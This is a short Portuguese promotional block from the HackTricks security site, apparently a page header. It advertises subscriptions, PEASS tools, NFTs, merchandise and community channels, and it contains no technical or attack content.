☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.